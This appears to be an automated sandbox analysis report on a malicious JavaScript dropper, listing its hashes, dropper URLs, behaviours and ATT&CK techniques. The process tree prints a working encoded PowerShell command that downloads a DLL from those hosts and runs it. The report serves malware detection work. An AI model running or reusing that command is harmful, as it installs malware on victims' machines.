aaae46d614933d1f6d932e3ec9b76902ab2d5788a41e7e97858aa637b86f5233

Analysis

max time kernel
79s
max time network
130s
platform
windows10-2004_x64
resource
win10v2004-20230220-en
resource tags

arch:x64arch:x86image:win10v2004-20230220-enlocale:en-usos:windows10-2004-x64system
submitted
16/03/2023, 07:13

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General

Target

rCoA.js
Size

84KB
MD5

9f9c96d904107988f9228890f0ca30d5
SHA1

16f7c265d11ea75cb62345555c51073526a6c762
SHA256

aaae46d614933d1f6d932e3ec9b76902ab2d5788a41e7e97858aa637b86f5233
SHA512

cec6f9e4eec258f2f988afeaa0a4ce7a9fdd7d1d3839fa23e318f17374e784fb3d9958807a9ae24781af90fa1ab414390c59061a18f88c6c9af22d6c24073734
SSDEEP

1536:g43+92oVhnGoW/bLBiVuuCHGHHfYLS0dwPphjiG5yE:TOrnn2P8V6mf65ds3P

Score

10^/10

Malware Config

Extracted

Language

ps1

Source

URLs

exe.dropper

https://dimoparkhogar.com/7VQuf/1

exe.dropper

https://fondationjoelkrasso.org/rjzgP6/1

exe.dropper

https://lamired.com/8FIz2P/1

exe.dropper

https://kotogadang-pusako.com/MweGD/1

exe.dropper

https://laposadadeugartearequipa.com/NARKhE/1

exe.dropper

https://earnforpak.com/CzIUp/1

exe.dropper

https://cocovedaglobal.com/XBtcjkQ/1

exe.dropper

https://accesstelematics.com/Ulo3MpM/1

Signatures

Blocklisted process makes network request 9 IoCs

flow	pid	Process
20	4428	powershell.exe
23	4428	powershell.exe
25	4428	powershell.exe
29	4428	powershell.exe
40	4428	powershell.exe
44	4428	powershell.exe
46	4428	powershell.exe
48	4428	powershell.exe
51	4428	powershell.exe

Checks computer location settings 2 TTPs 1 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-2275444769-3691835758-4097679484-1000\Control Panel\International\Geo\Nation	wscript.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

System Information Discovery
T1082

Suspicious behavior: EnumeratesProcesses 2 IoCs

pid	Process
4428	powershell.exe
4428	powershell.exe

Suspicious use of AdjustPrivilegeToken 1 IoCs

description	pid	Process
Token: SeDebugPrivilege	4428	powershell.exe

Suspicious use of WriteProcessMemory 2 IoCs

description	pid	Process	procid_target
PID 3520 wrote to memory of 4428	3520	wscript.exe	86
PID 3520 wrote to memory of 4428	3520	wscript.exe	86

C:\Windows\system32\wscript.exe
wscript.exe C:\Users\Admin\AppData\Local\Temp\rCoA.js
1⤵
- Checks computer location settings
- Suspicious use of WriteProcessMemory
PID:3520
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -encodedcommand "UwB0AGEAcgB0AC0AUwBsAGUAZQBwACAALQBTAGUAYwBvAG4AZABzACAAMgA7ACQAYQBuAGEAYwByAG8AdABpAHMAbQBVAG4AZABlAHIAcwB1AHAAcABsAHkAaQBuAGcAIAA9ACAAKAAiAGgAdAB0AHAAcwA6AC8ALwBkAGkAbQBvAHAAYQByAGsAaABvAGcAYQByAC4AYwBvAG0ALwA3AFYAUQB1AGYALwAxACwAaAB0AHQAcABzADoALwAvAGYAbwBuAGQAYQB0AGkAbwBuAGoAbwBlAGwAawByAGEAcwBzAG8ALgBvAHIAZwAvAHIAagB6AGcAUAA2AC8AMQAsAGgAdAB0AHAAcwA6AC8ALwBsAGEAbQBpAHIAZQBkAC4AYwBvAG0ALwA4AEYASQB6ADIAUAAvADEALABoAHQAdABwAHMAOgAvAC8AawBvAHQAbwBnAGEAZABhAG4AZwAtAHAAdQBzAGEAawBvAC4AYwBvAG0ALwBNAHcAZQBHAEQALwAxACwAaAB0AHQAcABzADoALwAvAGwAYQBwAG8AcwBhAGQAYQBkAGUAdQBnAGEAcgB0AGUAYQByAGUAcQB1AGkAcABhAC4AYwBvAG0ALwBOAEEAUgBLAGgARQAvADEALABoAHQAdABwAHMAOgAvAC8AZQBhAHIAbgBmAG8AcgBwAGEAawAuAGMAbwBtAC8AQwB6AEkAVQBwAC8AMQAsAGgAdAB0AHAAcwA6AC8ALwBjAG8AYwBvAHYAZQBkAGEAZwBsAG8AYgBhAGwALgBjAG8AbQAvAFgAQgB0AGMAagBrAFEALwAxACwAaAB0AHQAcABzADoALwAvAGEAYwBjAGUAcwBzAHQAZQBsAGUAbQBhAHQAaQBjAHMALgBjAG8AbQAvAFUAbABvADMATQBwAE0ALwAxACIAKQAuAHMAcABsAGkAdAAoACIALAAiACkAOwBmAG8AcgBlAGEAYwBoACAAKAAkAGQAZQB2AG8AbABhAHQAaQBsAGkAcwBpAG4AZwBQAHUAZgBmAGIAYQBsAGwAIABpAG4AIAAkAGEAbgBhAGMAcgBvAHQAaQBzAG0AVQBuAGQAZQByAHMAdQBwAHAAbAB5AGkAbgBnACkAIAB7AHQAcgB5ACAAewBJAG4AdgBvAGsAZQAtAFcAZQBiAFIAZQBxAHUAZQBzAHQAIAAkAGQAZQB2AG8AbABhAHQAaQBsAGkAcwBpAG4AZwBQAHUAZgBmAGIAYQBsAGwAIAAtAFQAaQBtAGUAbwB1AHQAUwBlAGMAIAAxADUAIAAtAE8AIAAkAGUAbgB2ADoAVABFAE0AUABcAFMAZQBwAGkAbwBsAGEALgBkAGwAbAA7AGkAZgAgACgAKABHAGUAdAAtAEkAdABlAG0AIAAkAGUAbgB2ADoAVABFAE0AUABcAFMAZQBwAGkAbwBsAGEALgBkAGwAbAApAC4AbABlAG4AZwB0AGgAIAAtAGcAZQAgADEAMAAwADAAMAAwACkAIAB7AHMAdABhAHIAdAAgAHIAdQBuAGQAbABsADMAMgAgACQAZQBuAHYAOgBUAEUATQBQAFwAXABTAGUAcABpAG8AbABhAC4AZABsAGwALABYAFMAOAA4ADsAYgByAGUAYQBrADsAfQB9AGMAYQB0AGMAaAAgAHsAUwB0AGEAcgB0AC0AUwBsAGUAZQBwACAALQBTAGUAYwBvAG4AZABzACAAMgA7AH0AfQA="
  2⤵
  - Blocklisted process makes network request
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:4428

Network

MITRE ATT&CK Enterprise v6

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_ub1hh0jo.mmu.ps1

Filesize
60B

MD5
d17fe0a3f47be24a6453e9ef58c94641

SHA1
6ab83620379fc69f80c0242105ddffd7d98d5d9d

SHA256
96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

SHA512
5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

Download Submit
memory/4428-133-0x000001CA21880000-0x000001CA21890000-memory.dmp

Filesize
64KB

Download
memory/4428-134-0x000001CA21880000-0x000001CA21890000-memory.dmp

Filesize
64KB

Download
memory/4428-140-0x000001CA21890000-0x000001CA218B2000-memory.dmp

Filesize
136KB

Download
memory/4428-145-0x000001CA21880000-0x000001CA21890000-memory.dmp

Filesize
64KB

Download
memory/4428-146-0x000001CA21880000-0x000001CA21890000-memory.dmp

Filesize
64KB

Download
memory/4428-147-0x000001CA21880000-0x000001CA21890000-memory.dmp

Filesize
64KB

Download
memory/4428-148-0x000001CA21880000-0x000001CA21890000-memory.dmp

Filesize
64KB

Download